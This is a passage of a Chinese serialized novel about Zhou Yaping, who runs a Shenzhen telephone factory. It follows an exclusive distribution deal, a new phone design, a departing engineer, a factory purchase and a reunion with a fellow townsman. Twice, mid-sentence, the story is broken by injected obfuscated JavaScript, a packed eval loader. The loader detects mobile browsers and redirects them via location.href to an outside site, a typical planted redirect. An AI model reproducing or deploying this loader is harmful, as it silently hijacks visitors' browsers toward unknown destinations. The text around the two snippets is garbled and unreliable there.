到了市场部办公室,周亚平把几个重要部门的中层干部叫过来,把这件事原原本本地告知大家,也把自己的一点担心说出来:“我们卖了一个月,才卖了3000多台,他们一家公司要把我们一个月的产品全部包销,也就是一个月36000台呀!真有这么大的本事?还是一场骗局?再说,签了合同后,我们只能将‘大屏机’卖给他们,万一他们卖不动,不提货了,我们又不能卖给其他客户,岂不是一个死局?” 众人初听有人包销“大屏机”,都很高兴,但周亚平说出疑虑后,也都觉得此事有点微妙。 财务部蒋娜娜建议说:“要不暂时不签合同,先去广州详细了解这家‘大漠’公司的底细以后再说?” “对,对!”众人附和蒋娜娜的意见。 只有生产部经理李桐梓大声表示不满:“哎,我说你们也是,没有订单的时候愁订单,订单送上门了,又这也担心那也害怕,还做什么生意?” 一时无人发声。 陈佑福小心翼翼地说:“周总,也是。人家找上门来要签合同,我们不和他签,反而先要到广州去调查他们的底细后再签,这话怎么说得出口?” 蒋娜娜还是坚持自己的意见:“一旦形成文字,签字盖章,合同就具有法律效力,到时后悔都来不及。” “其实,就是今天签约也没有关系,” 技术部经理欧阳剑三不慌不忙地说,“我们现在无非是担心受骗,担心来人说大话,不能兑现。没关系,我们在合同文本里把这些担心都变成限制性文字不就行了。比如,他们提出每天包销1200台,合同里就硬性写上,如果有一天没有购货1200 台就算违约,该方连续违约三次,我方可视情况决定是否中止合同。” 听此一说,陈佑福击掌称好:“周总,我看欧工说得没错,只要在合同里把这些防骗局、防陷阱的条款都写进去,还有什么可担心的,最多是个无效合同。再说,人家老远跑过来,不说一掷千金,但确实是一掷20万,不为了买货,为了什么?” 周亚平终于下定了决心:“好吧,就按大家的意见,市场部起草一份合同稿,如果对方坚持今天要签,那就今天签约。” 中午,“大漠”公司两位老总反客为主,坚持要请客,周亚平他们拗不过,也只能默认。几个人坐上公司的小车,朝潮州酒店开去。 说是不远,实际上并不近,汽车开了半个小时才来到朱、侯二人所说的“不错”的潮州酒店。 看来,“大漠”公司两位老总兴致很高,特意叫了一瓶陈年“茅台”,喝的很开心。特别是侯熙敏,一边喝一边手舞足蹈,还哼起了潮州小调。 “跟你说,周总呀,你们开发的这款‘大屏机’可是一颗摇钱树啊,你们整天守在工厂,不知道市场行情,这款大屏机太受消费者喜欢了……” 话没说完,朱庆桂打断他:“哎,老侯,又喝多了,行了,吃饭时间,不聊公事。对了,周总,你们看还要点什么菜?” “已经够多的了,不要再加菜了,别浪费了。” 此前,周亚平对于潮菜,确实不怎么感冒,认为价格贵,太清淡,尤其是没有辣椒,不符合湘人的口味。但这次吃饭,却改变了以往的成见,觉得虽然清淡,却韵味十足,貌似简朴,却回味无穷。 午餐过后,周亚平看到两位醉醺醺的,知道此时不可能去协商合同,立即安排他们去休闲店洗脚、休息。然后,与陈佑福赶回公司,组织人员起草合同。 侯、朱二人回到“登云”公司,已是下午5点多钟,侯熙敏一个劲地道歉:“对不起,喝了点酒,在洗脚店睡了一觉,差点误了正事。周总,把合同文本拿来吧,签好合同,我们还要赶回广州。” 陈佑福拿出几份打印好的合同文本,给侯、朱一人一份:“请你们仔细看看,还有哪些地方需要修改。不着急,今天签不了,还有明天嘛,最多不过在深圳住一晚。” 朱庆桂摆摆手:“不行!陈经理,你不知道我们有多忙,这么跟你说吧,今年这半年,我和侯总都没有休息过一天。” 两人埋头看合同稿,一时无人发声。为了让他们便于讨论,周亚平与陈佑福离开总经理办公室,到市场部喝茶等候。。 过了好一会,有人通知周、陈,告知客户请他们过去。 四人会面后,周亚平担心“大漠”公司会对合同中苛刻的条款提出异议,谁知,侯、朱二人对合同文本没有提任何意见,只是对销售价格表示不满。 朱庆桂先发言:“我知道,你们在合同书上标明的价格是现在你们统一对外的批发价,但既然全部给我们包销,这个价格就太贵了,我们怎么去卖?单价至少应该再便宜8元钱,怎么也得让我们赚点钱。” “对呀,我们包销以后,你们省了多少事,不要花一分钱的销售费用,这些钱全部由我们来出,你们如果不降价,我们从哪里赚钱? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479023|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 侯熙敏接着说。 陈佑福一边给客人续茶,一边说:“我们也不容易,开发一个新产品花了多少资金和气力,刚开始赚点钱想把成本扳回来,你们又要降价,哎!” 双方在价格上争执不休。 最后,还是周亚平一锤定音:“行了,既然你们也认为这款‘大屏机’很好销,就不要盲目压价了。我看二位很有诚意,这样吧,我们也是大出血,合同价在原来价格基础上最多只能降低5元钱,这是我们的底线了。” 听他这一说,对方也没有再争辩,合同终于敲定。 周亚平和侯熙敏分别在合同上签名后,陈佑福拿出准备好的公司大印在签名处盖章,同时每页盖上骑缝章。朱庆桂也从挎包里掏出一枚公章,完成盖章手续。 大功告成,双方握手庆贺。 侯熙敏爽朗地笑着说:“两位别怪我太势利,我们今天来还不打算空手回去。请你们查查看仓库还有多少‘大屏机’,我们今天全部买走。” 派人一查,仓库里还有1100台。 “我们今天是开小车来的,装不了货,麻烦你们帮我们叫一部货车,给我们送过去,运费我们出。” 很快,货车来到公司。侯、朱与车主谈好运价,嘱咐司机紧跟他们的小车后,告辞离开了“登云”公司。 从这以后,“大漠”公司非常守约,每天都派车来“登云”提货,侯、朱二人轮流押车、送钱。经典做派是,来人在生产线尾部,将堆放在地上的电话机纸箱数量数一数,稍作计算,然后把一个装钱的蛇皮袋掼在流水线工作台上:“这是今天的购货款,你们数数吧,应该不会错。” 最后装货走人。 按说周亚平并不是一个财迷,但每天看着一箱一箱的电话机出货,数着一叠叠的钞票,他仍然有一种甜滋滋的味道。 公司的效益逐步增长,每个月的利润,都达到了几十万元,上上下下,一派喜气洋洋。 “大漠”公司究竟有什么神通,每天能把1000多台电话机卖出去?周亚平一直非常困惑。这一天,他叫了陈佑福,事先没有告知对方,就驾车开往广州,并按照侯、朱二人留下的地址,找到了“大漠”公司。 大失所望的是,每个月向“登云”公司购货几百万元产品的“大漠”公司,办公室竟然如此的简陋——不是一般的简陋,而是寒碜。办公室位于一栋破旧的居民楼内,很明显是由一套两房一厅的住宅改成,室内杂乱无章,办公桌椅都是缺胳膊少腿,唯一像样一点的是一台办公电脑,但不知何故,屏幕上到处都是花痕。 朱庆桂满不在乎地解释:“我们平时都是在档口做生意,这里很少来,对不起,比较乱。喝口水后,我们到档口看看吧。” 他口中的“档口”,就是“大漠”公司销售电话机的门店,地点确实不错,在站前路一个十字路口,每天的人流量很大。 周亚平他们到达档口时,侯熙敏正带着几个年轻的业务员在销售电话机。一个200多平方米的铺面,挤满了顾客,可见购销两旺。 “哦,周总与陈经理来了,有失远迎!”侯熙敏热情地与周、陈握手,“对不起,老朱陪你们先坐,我这里正在接待一个大客户,要买500台电话机。”说完,匆忙过去招呼客户。 周亚平坐在店铺一个角落里,一边喝茶一边观察侯、朱他们如何交易,特别是注视他们卖“大屏机”时的报价。 看来没错,他们采取的是薄利多销的策略。到这里买货的,天南地北,形形色色,有像刚才侯熙敏说的需要500台的“大客户”,也有只买几台甚至1台的小客户。听他们向客户报价,大约是,只要数量上了10台,“大漠”给出的价格刚好是“登云”公司平时的出厂价。也就是说,侯、朱他们中间只拿了5元钱的差价,估计如果500台,价格会更低。在销售终端用这么低的价格出手,真让人不可思议。 等到侯熙敏闲下来,周亚平不解地问:“侯总,你们的销售价怎么这样低。” 侯得意地回答:“这就是我们的诀窍,快进快出。如果不是这样,我们怎么能每天帮你们卖出去1200台‘大屏机’?你们也看到了,除了帮你们卖产品,我们这里还有其他好多家的电话机在卖。只能这样,按你们的说法就是薄利多销。像刚才那个客户,一次就要500台‘大屏机’,最后价格压到很低,说实话,每台机只在你给我们价格的基础上加了2元钱。但这样卖得快呀,再说我们也赚了1000元的利润,为什么不干?” 周亚平知道,侯熙敏这种说法混淆了“差价”与“利润”的差别,但又不得不佩服他们作为商人的精明。 朱庆桂也走过来与他们聊天:“你们看到没有,我们这个档口位置多好,靠近火车站,这一条街销售的东西五花八门,有卖服装的,有卖小家电的,要什么有什么。全国各地的批发、零售商都到这里来进货,你说生意好不好?” 这一趟广州不虚此行,让周亚平大开眼界,既了解到自己的产品在终端的销售情况,也使他隐隐感到了危机。看到“大漠”店铺中各色各样的电话机产品,周亚平清醒地认识到,侯、朱之所以与“登云”签订合同,是因为现在这款电话机新颖美观,受到市场追捧。但人无千日好,花无百日红,万一时过境迁,“大屏机”不受用户喜爱了,“登云”公司怎么办? 从这时起,周亚平有一种强烈的开发新机的欲望。 25. 二十五 从广州回来后,周亚平一直在琢磨新款电话机开发之事。他安排采购部门的人员到处寻访生产电话机机壳的企业,查询造型新颖、美观的电话机外壳。但效果不大,当时开制一套新的电话机外壳模具需要20—30 万元人民币,一般厂家不敢轻易冒险。故他们卖的大多是老旧过时的款式。 周亚平记得有一次聚餐时,一位朋友曾经说过,他到过日本,见过日本的电话机,有的样式特别漂亮。他建议周亚平,派人到日本走一趟,购回一些好看的样机,参考这些样机,重新设计、开模。 当时,周亚平还认为这位朋友的思想太超前,再加上当时根本拿不出几十万元的开模费用,便把这位朋友的话当成耳边风。现在仔细回味这些说法,觉得真的很有见识。于是,他如同着魔一般,为获得国外新型电话机样机到处咨询。 功夫不负苦心人,经过四处打探,终于传来一个好消息,有一家注塑厂从国外购回一台最新款的电话机,正在寻找合作伙伴。 周亚平闻讯立即赶往这家企业。 “创兴注塑厂”在城市的另外一个区,离“登云”公司有一个多小时的汽车里程。老板叫余建军,是本地人。由于公司的生意不温不火,也在动心思开发新摸具,发展新业务,于是托国外的亲戚购买了刚上市的电话机产品寄回中国。但他一时也拿不定主意,不知道国内的用户喜不喜欢这种款式,究竟能不能按这个款式修改开模。 看到周亚平专程来厂洽谈,余老板非常高兴,立即拿出从国外购回的这台电话机让周亚平过目。 周亚平一眼看到摆在桌面的电话机样机,马上有惊艳的感觉。仔细察看后,更加坚信,如果按此外观略加修改,重新设计开模,再用注塑出来的机壳开发新款话机,必将又是爆款。 “余经理,”因为看到余建军的名片上的职务一栏注明是“经理”,周亚平没有像往常一样,提高一级称呼“余总”,而是老老实实按其职位称呼,“这款话机造型是最时尚的流线型,据我所知,国内还没有类似的款式,我看只要稍微做点细节的修改,避免人家告我们外观侵权,就可以开模。这样吧,模具费两家各出一半,这副模单独核算,利润平分。但有一点,这副模注塑的产品,未经我们同意,不能卖给任何其他人。” 余建军是憨厚本分之人,此时更是十分随和:“没问题!周总,都听你的。另外,不用叫我经理,叫我阿余就可以了,他们都是这样叫的。” 两家正式签订了合作开模的“协议书”,制造新模具的计划进入实施阶段。 由于“创兴”厂模具车间没日没夜地赶工,不到一个月,新模具试模,再经过半个月的修模整治,终于可以正式注塑生产。 在开模的同时,“登云”厂已经按照图纸设计电路板,等PCB样板一交货,就装配元器件。因此,新机壳甫一出场,电路板立即装上,一台新款的电话机马上呈现在大家面前。周亚平像捧着新生儿一样捧着这台话机,喜悦之情油然而生,他把这台话机递给工程部经理欧阳剑三:“欧工,你们为公司立了大功,感谢你们!估计这台机的销售业绩不会亚于‘大屏机’。” 欧阳谦逊地说:“周总,这是我们份内的事,主要是这款机壳选择得好,美观、时尚,讨人喜欢。” 新开发的这款电话机,确实十分亮眼,侯熙敏和朱庆桂见到时,满眼都在放光。 “我们全包了!”朱庆桂忙不迭地表明态度,“条件和‘大屏机’一样,不能卖给别人。” “对,对!”侯熙敏附和。 这之前,周亚平他们就商议过,认为鸡蛋不能放在一个筐子里,这款话机必须开放给所有客户,以避免垄断带来的制约。 “实在对不起!”周亚平对二人说,“这款机在开发阶段就陆续被一些客户看到,也有客户要全包,我们没有答应。因此也不能包给你们。只能是大家共享了。” 侯熙敏抱怨了:“周总,这就不够意思,我们两家这么好的关系,开发新机还对我们保密,别人都知道,就瞒着我们。” “不是这样,侯总,”周亚平解释,“我可以发誓,我们公司在开发新产品阶段,没有主动向任何客户透漏过消息。那些找我们的客户,都是帮我们开模的工厂原来的客户或熟人,他们是从模具厂得知的信息,才找上门来的。” 朱庆桂抚摸着这台样机,爱不释手,提高音调说:“不管怎样,这台机的产品,我们‘大漠’也要拿大头。就这样说好了,你们可以给别人一点,但每天必须把大货留给我们。” 周亚平无奈地说:“到时再说吧。陈经理,记着这件事,到时候合理分配,尽量多给‘大漠’公司一些。” “行!照顾老朋友,这是应该的。”陈佑福说。 有了这两款内销机的畅销,“登云”公司的效益越来越好。说也奇怪,这段时间,加工订单也逐渐增多。除了股东邓老板的加工单,其他客户委托加工的订单也多了起来,而且加工费与邓老板的相比,接近翻倍。加之“登字集团”因降低成本的缘故,已经搬到东莞,来往颇费周折,“登云”公司已经逐步放弃了邓老板的出口电话机加工业务。 有了比较大的资金实力,周亚平开始考虑公司下一步的发展。按照特区办企业的寻常路径,一般只要租个厂房,添置一点设备,招聘一些员工,就成了一家生产型企业。但在周亚平的心目中,这种四处飘荡的工厂就好像没家的孩子。周亚平认为,只有购置自己的厂房,才能给工厂安一个“家”,才能长治久安。由此,周亚平正在酝酿购买厂房的计划。 总务部按照周总吩咐,从各处找来一些厂房出售的资料,送到周亚平办公室,周亚平正认真观看这些资料。 “周总,香港张先生来了。” 肖晓领着一位客人走进办公室。从“登字集团”到“鸿信”厂,又到“登云”公司,肖晓跟着周亚平一直转战各个企业,目前是“登云”公司的生产部经理。 “张先生,你那批货可能要到下星期三才能全部完工,对不起,这段时间太忙,耽误了两天。”周亚平一边和客人握手,一边说。 “我知道,没关系,我这次来是有个新订单,来与你们商量。” “哦,又有新订单?” 张先生从口袋里掏出一份打印的文件,说:“就是上次请你们工程部开发的J65型电话机,一个欧洲客户下了10万部订单,两个月必须完成。” “J65型?”周亚平问。 肖晓回答:“周总,你忘记了,就是欧阳设计的那款面包机。我看过结构,不难生产,只是客户对有的指标要求很严,甚至可以说是很苛刻,生产线测试方面需花点功夫。” 张先生微微一笑:“周总呀,我找你们就是因为你们对质量把控很严格。但我給的价格也很好啊。” “是的,非常感谢张先生的信任与支持。没问题,把订单下过来吧,我们一定按时完成。”周亚平表态。 “好,我让公司马上把加工协议书传真过来,等会我们就签约,”张先生站起来,“现在我要到工程部去一趟,产品技术上的一些问题还得与欧工商议商议。” 据说张先生原来也是搞技术出身,在“登云”公司,他与工程部经理欧阳剑三很谈得来,还经常单独请欧工去喝早茶。 签好协议,送张先生离开后,已是下午3点多钟。 周亚平从总务部送来的一叠待出售的厂房资料中选中几张,叫了司机小白,准备开车去这几处实地考察。 小车刚启动,工程部副经理常和平找来了:“周总,赖工打电话来,他已离开‘登字集团’,自己成立了一家电话机企业,叫‘曙光电子有限公司’,今晚6点,在‘鸿宾楼’宴请各位同仁和老朋友,请您一定要出席。” 常和平所说的赖工就是赖炅明,自己创业前,先是“登字集团”的协理,后来是研究所的所长。常和平原来是赖炅明手下的一名工程师。 “哦,赖工也开始自己干了,不错,不错。我们还得给他新厂送个花篮,”周亚平走下车,“常工,你回应赖工,我一定准时到。另外,告诉总务部,购买一个大花篮,以公司的名义送到‘曙光’厂去。” 安排完毕,周亚平才与司机开车离开公司。 两人急急忙忙驱车察看了两处待售的厂房,周亚平都不太满意,鉴于将近晚餐时间,只好打道回府。 “鸿宾楼”的贵宾厅里,满满地摆着8席,周亚平进去时,人已基本坐满。 赖炅明和他的秘书吴小姐赶过来迎接。 “周总!欢迎,欢迎!” 赖炅明一把握住周亚平的手,“来,与我坐一桌,专门为你留了位。” “赖所长——不对,应该是赖总,太客气了。你也是,早不给个消息,搞突然袭击。”周亚平颇有微词,“急急忙忙派人买了个花篮,让他们直接送到你厂里去了。” “我们多年的兄弟,不讲这一套,” 赖炅明把周亚平拉到主宾席坐下,“人到得差不多,我们开始吧。” 司仪对着麦克风喊话:“请大家肃静!肃静!——隆重庆祝‘曙光电子有限公司’成立晚宴现在开始!” 一阵噼里啪啦的鞭炮声响起,震耳欲聋。 “下面请公司董事长兼总经理赖炅明先生致词,”司仪宣布。 赖炅明站起来,向鼓掌的人群摆摆手:“各位领导,各位来宾,晚上好!”又是一阵热烈的掌声。 “首先感谢大家对我的支持!大家的支持是我创业的动力。其实,早就有人劝我自己开公司,说:‘赖工,你要技术有技术,要人脉有人脉,为什么一直帮别人打工。’我这人讲义气,考虑邓董对我不错,所以没起二心。现在‘登字’集团搬走了,公司大把新人,我们可以理直气壮地自己创业了。可能有很多人还不知道,其实,就在这几个月,在我之前,原‘登字集团’的老员工中,已经有5位建立了自己的电话机或电话机元器件的生产企业。说到这里,还得感谢邓董,培养了国内一支庞大的电话机生产大军。” 一阵哄笑声,一阵掌声。 参加完赖炅明的晚宴后,第二天,周亚平又去考察了几处新厂房,其中,有一栋坐落在广深高速路旁的厂房引起了他的关注。 这是一栋6层的厂房,每层1100平方米,外墙面铺着素色的马赛克,典雅素净。有独立的围墙,小院内自成一体。 厂房的主人是县旅游公司。原来,面临改革开放潮水般涌来,县政府为了让各部门都得到一些经济实惠,事先分配给各下属部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15479024|169990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门、单位一些地皮,让他们各自建设商业房产。旅游公司凑钱盖起了这栋厂房,现在由于资金紧张,急于出售,整栋楼的报价为1080万元。由于对方也是借债建楼,债主催钱催得很急,周亚平他们经过几次拉锯式地砍价,最终谈到960万元。 周亚平与公司各部门主管商议后,认为此价格很合算,决定向总部汇报,用公司这几年赢利所得的自有资金购置这栋厂房。 周亚平提起电话机话筒,正准备给总部彭总打电话,欧阳剑三领着香港客户张先生敲门进屋。 “周总,张先生找您有点事,”欧阳剑三嗫嚅着,“你们谈吧,我先出去了。” 周亚平以为张先生又是为加工订单而来,给张先生倒了杯茶,就和他闲聊起来。谁知张先生心不在焉,急迫地说:“周总,不好意思!我今天来,是有一件重大的事情希望得到你的支持。” 周亚平从未看到过他那么迫不及待的神情,有些奇怪:“张先生,什么事?你说吧,能够帮到的,我一定全力以赴。” “无论如何,这个忙一定要帮!”张先生仍然急切地说,“能帮到,只要你诚心来帮。” “别急,不要急!张先生,我们多年的老朋友,相信我老周的为人。说吧,什么事?我怎么帮你?”周亚平说这话,态度非常诚恳。 张先生也感到自己太急迫,端起茶杯,慢慢地喝了几口水,才继续说:“我想找你要一个人,就是欧阳剑三。” “哦!”这一点倒是周亚平没有想到的,“为什么?” “是这样的,周总,”张先生已经平静下来,“我在香港的一位朋友一定要和我一起开办一家电子产品加工厂,现在厂房和设备都已准备好,但我们两位都没有办过实体企业,想来想去,必需聘请一位职业总经理,这就想到了你们的欧工。我看他既懂技术又懂管理,是个人才,完全可以胜任总经理职位。但要从你这里挖人,真是不好意思,哎!又没有其它办法。” “我理解你的难处,”周亚平沉默了一会,“欧阳自己的意见呢?” “他没有反对,但觉得你一直待他不错,也有点为难。” “我知道了。张先生,这个忙我们会帮你。这样吧,你等两天,我要找欧工好好谈一谈,另外,如果真正放行,我们还要为他开一个欢送会,毕竟在我们这里工作这么长时间,大家都是有感情的。” 张先生高兴地回答:“行!周总,你太豁达了,够仗义!” 为欧阳剑三召开的欢送晚宴在工厂附近的酒店举行,共有三席,“登云”公司各个部门负责人和公司骨干参加。 席间,欧阳剑三向周亚平敬酒,哽咽着说:“谢谢你,周总,我真没想到你会这么顺利地放我走,而且为我开欢送会。说多了没用,今后无论在哪里,我不会忘记你,不会忘记‘登云’。” 在欢送宴会最后致词中,周亚平袒露了自己的真实想法:“在欧工离开公司这件事上,有的人背后说我脑袋进了水,被人家挖了墙脚还帮人家递锄头。不是的,我何尝不知道欧工离开是我公司一个损失,但大家想过没有,从一个工程师到一个总经理,这样一个跨度,这样一种进步,这样一个机遇,有多么难得。每个人都期望进步,期望发展,但人生中能遇到几个这样的机会,我们为什么不替人想想,给人一个方便呢?真心希望欧工在新的岗位上发扬光大,继续前行,为我国蓬勃发展的电子事业做出更大的贡献!” 会上讲得慷慨激昂,实际上 ,周亚平心里像扎了一根刺。 由客户变成竞争对手,张先生的这件事引起了周亚平的深思。联想起这段时间看到的、听到的各地电话机企业层出不穷的事例,周亚平感到电话机的战国时代已经来临,“登云”将要面对的是腥风血雨的市场竞争。 这天,他又来到工程部,准备和工程师们一起研究新产品开发问题。 欧阳剑三离开公司后,常和平晋升为工程部经理,见到老总来到办公室,马上离座迎接。 “别动,别动,”周亚平在常和平的对面找了把椅子坐下来,“我来没有别的,就是想聊聊新款电话机的事。” 常和平重新坐下,说:“周总,我正打算去找你。我们最近又收集了不少新的电话机外壳,请你看看,有没有可以用来开发新机的。” 说着,从桌下提出一个装满机壳的塑料袋,打开后,分门别类地把各种机型外壳摊放在办公桌上。 “对了,这套机壳,是你前两天送过来的,”常和平拿起一套机壳递给周亚平。 “是的,你知道这是哪一家送来的吗?”周亚平问。 常和平摇摇头:“不知道。” “这也是我在‘登字’集团里老朋友的产品,”周亚平拿起这套面壳仔细端详,“你还记得吗,就是原来‘登字集团’模具部的谢经理,谢鞠科。他先是与别人合伙开了家模具厂,后来自己又开了注塑厂。这就是他们新开模具的产品,款式挺不错的。” “认识,我认识。我记得塑胶部还有一位何立伟的师傅,他们好像经常在一起。” “是的,何立伟被邓老板派到墨西哥工厂去了。”周亚平说,“行了,不闲聊了,你把他们几个都叫过来,我们一起商量一下新产品开发计划。” 26. 二十六 正在会议室与有关部门研究新产品开发事项的周亚平,接到一个意想不到的电话。对方自我介绍:“周总,我是邱智仁呀,还记得不,是你的老乡,是原来你们器材厂隔壁汽配厂的。早就听说你也到了深圳,一直找不到你的联系方式,昨天,才从一个朋友那里拿到你的电话号码。” 周亚平搜索记忆库,想起来了,邱智仁是汽配厂保卫科的,由于工作关系,经常到器材厂保卫科来办事,周亚平在本厂保卫科办公室见过此人。虽然只见过一、两次面,但由于邱智仁毫不掩饰地当面说了很多近似崇拜的夸赞话,给周亚平留下深刻印象。 “哦,是你啊,我记得你原来在汽配厂保卫科工作,什么时候到特区来了?” “开始是在保卫科,后来调到武装部当部长。我来特区已经好几年了,工厂派我来,负责一家内联企业。” 在深圳很难碰到这样近的老乡,这激起周亚平的兴趣,他记得汽配厂也是部属企业,估计老邱的境遇与自己大同小异,因而关切地问:“邱总,公司状况怎么样?效益还好吧。” 电话那头笑出了声:“还好啦,你知道的,由于这里与内地的信息差和价格差,随便倒腾一点东西都可以赚到钱。所以,效益还说得过去。对了,我们现在全家都在深圳,你们家嫂子、孩子他们来了没有?” “还没有呢,正准备去办理,”周亚平说,“对了,你们公司在哪里,有时间去你们公司学习学习。” “欢迎,热烈欢迎前来指导!你是请都请不到的贵客。” 过了两天,周亚平看有点闲暇时间,对司机小白说:“走,我们今天去一家老乡的公司看看!他们老总是我们以前隔壁汽配厂的。” 小白也是原器材厂的职工,是从内地工厂离职,投奔到周亚平这里的。 “哦,汽配厂也在这边办了企业?真好,天隔地远的,还能见到老乡。”小白一边说,一边去启动汽车。 小白现在开的“皇冠”车,是公司新买的二手车。原来公司有一辆日产人货两用车,是企业刚成立时,用中外合资企业的标配指标购买的,但上个月被盗走。后通过“登云”公司的一位电子元件供应商吴树慧的介绍,用很便宜的价格购买了这辆二手“皇冠”。 为此,小白叽叽咕咕地埋怨了很久,主要埋怨老板太抠门,如今公司大把赚钱,每天往银行一袋一袋地存钱,买部新的“奔驰”、“宝马”还不是小菜一碟。可老板非得买辆二手车,开起来都没劲。 邱智仁的内联厂在八卦岭工业区,仍是生产经营汽车配件,说是生产,实际上就是从内地厂运来一些配件进行组装,然后再去销售。 老乡相见,分外高兴。参观完工厂后,三人就一直在办公室聊天。眼看到了饭点,邱智仁神秘地说:“今天中午让你们两位尝个鲜,我知道有一家很隐蔽的野味店,请你们去吃真正的野味。” “什么野味?野鸡、野猪、野兔?”小白好奇地问。 “那算什么,” 邱智仁笑了,“真正的野味是野狼、野狐、穿山甲之类,有时还有老虎肉吃。” 周亚平对这些野味一直就有些忌讳,倒不全是出于保护野生动物,而是的确不合口味,因此,立即予以阻止:“邱总,谢谢好意,但我平常真的不爱吃这些东西。我们还是找一家普通餐馆吧。” “啊,你也有这个忌口?”邱智仁想了想,“好吧,我们就去另外一家吃普通菜的饭店吧。” 说是“普通”,其实进去以后才发现,这是一家高档的酒家。 邱智仁把菜单递给周亚平,说:“周总,你看想吃什么,就点什么吧。” 周亚平摇摇手:“邱总,客随主便,还是你点吧。” “普通菜没有什么忌口吧?”邱智仁见没有反应,接着说,“那我就点菜了。” 菜上桌了,2个凉菜,5个热菜,外加一人一碗汤。 周亚平说:“邱总,菜点多了,三个人吃不了这么多。” 邱智仁笑笑:“没关系,吃不完打包,带回去给加班的员工吃。” 小白喝了口汤,夸赞道:“这是什么汤,粉丝汤?味道蛮不错的。” 邱智仁笑得更开心了:“小兄弟,这是鱼翅羹。你哪里见过480元一碗的粉丝汤?” 小白舔舔嘴,惊喜地说:“总算吃到山珍海味了,一直听人家说燕窝、鱼翅 ,不是邱总请客,还不知什么时候才能尝到。” “听说你们公司效益很好,周总没请你们吃过?” 邱智仁不解地问。 小白不屑地瘪瘪嘴,恨不得当面揭周总的老底,但到了嘴上,又变成另一种说辞:“公司效益确实不错,一个月赚的钱可以买一部‘奔驰’。但周总有节约的美德,平时请客,最多吃吃海鲜而已。” 周亚平听了不是滋味,反驳说:“你以为吃海鲜便宜?上次在小梅沙请客户,点的大龙虾、老虎斑、霸王蟹,一餐就花了六千多元。” 小白还准备说什么,邱智仁止住他:“你们老总不只是有节约的美德,最值得敬佩的是一心为公,毫不利己。这一点不光你们器材厂的职工知道,我们厂职工也都知道。” “周总,还记得吧,你刚担任厂长时的就职演说,有这么一句, 古人说‘当官不为民做主,不如回家卖红薯’,我们现在当官不是人民的‘主’,而是人民的‘仆’,应该是‘当官不为民谋利,不如仍去扫垃圾’。这段话,我们熟得都能当歌唱了。” 周亚平听人当面奉承,浑身不自在,赶忙把话岔开:“邱总,刚才看到你与餐厅经理很熟,你们是常客?” “是的,比较重要的客人我们都是在这里接待。昨天就在这里宴请了一位国字号的,曾经主导广东改革开放的老首长。” 邱智仁不经意地说,“这位老领导和夫人住在深圳很长时间了,我在部队的一个老战友是他的生活秘书,因此,我和他们经常见面。” 这顿“粉丝”宴后,没过多久,邱智仁应邀拜访了“登云”公司。 礼尚往来,周亚平准备宴请邱智仁,他征求意见:“邱总,我们都是老乡加朋友,不来虚的,你想吃什么自己决定,是吃海鲜,还是粤菜,还是潮州菜,或者还是吃‘粉丝’?” 邱智仁笑得合不拢嘴:“别客气,不吃‘粉丝’,也不吃其它菜,今天我们吃家乡菜,找家湘菜馆怎么样?” “为我们省钱?”周亚平打趣。 “真不是!其实,吃那些都是为了应酬,吃湘菜才是最舒服的。” 与邱智仁相遇,使周亚平在特区多了一位真心相待的朋友。 在特区创业3年了,工作上再困难,周亚平都可以挺过去,但生活上像流浪汉一样,却实在难熬。每天下班回来,不是在路边小摊上打碗盒饭,就是米粉店里吃碗河粉。回到宿舍,一个人冷冷清清,十分孤寂。 前面说过,“登云”公司由3家公司组成,除了外资方“登字集团”,中资方里还有一家本地的信息企业,这家企业来头不小,当时属于市政府办公室。 信息公司方担任“登云”公司董事的张瑜玲知道周亚平的情况后,极为同情,她想办法说服了该公司的一家子公司老总,帮周亚平太太争取了一个编制内调动指标,准备把沈珍钰调到深圳,解决一家分居的难题。 在沈珍钰母子将要来到深圳之前,周亚平到处寻租住宅,但一直未找到合适的地方。邱智仁知道后,问周亚平对住房有什么要求,周亚平告诉他,其它倒无所谓,主要是地点必须离沈珍钰将来工作的公司近一点,上下班方便。于是,邱智仁按此在他自己家附近选了一处住宅,电话告知周亚平,让他前来察看是否满意。 在房主张先生的带领下,周、邱二人来到了城中村里的一栋6层楼房前,这就是深圳早期常见的“农民房”。 据邱智仁介绍,张先生也是周、邱二人的老乡。他悄悄告诉周亚平,这位张先生,运气好得出奇。从家乡长沙县当兵入伍后,部队一直驻守在宝安县,这家伙不安本分,和驻地一家老百姓的姑娘私下谈恋爱,等到退伍时,就留在了宝安,入赘了那家农户。他的战友当时都嘲笑他太傻,退伍时大城市不去,偏偏留在一个鸟不拉屎的穷地方,娶一个其貌不扬的农村妞。到现在,他们才知道,这傻人有傻福。如今,深圳已由一个贫穷的边陲小镇成为国家改革开放的前沿阵地,正在向现代化的大都市迈进。张先生也已经成了这家的户主,他和当地的农户一样,在自留地上盖了三栋6层住宅楼,每个月光收租金就是十几万元,成了名副其实的大财主。 三楼302号,就是准备租给周亚平的住房。三人进到屋内,周亚平四处观看,张先生一个人在念叨:“两房一厅租金这么低,我这还是第一次,要不是老邱是好朋友,要不是周先生你也是我老乡,这是不可能的。” 房间都是粗装修,说不上好,但也说得过去,该有的都有,主要是性价比不错。周亚平止住房东的唠叨:“行了,谢谢张老板,谢谢老乡的照顾。就定这一套了,今天就把合同签了吧。” 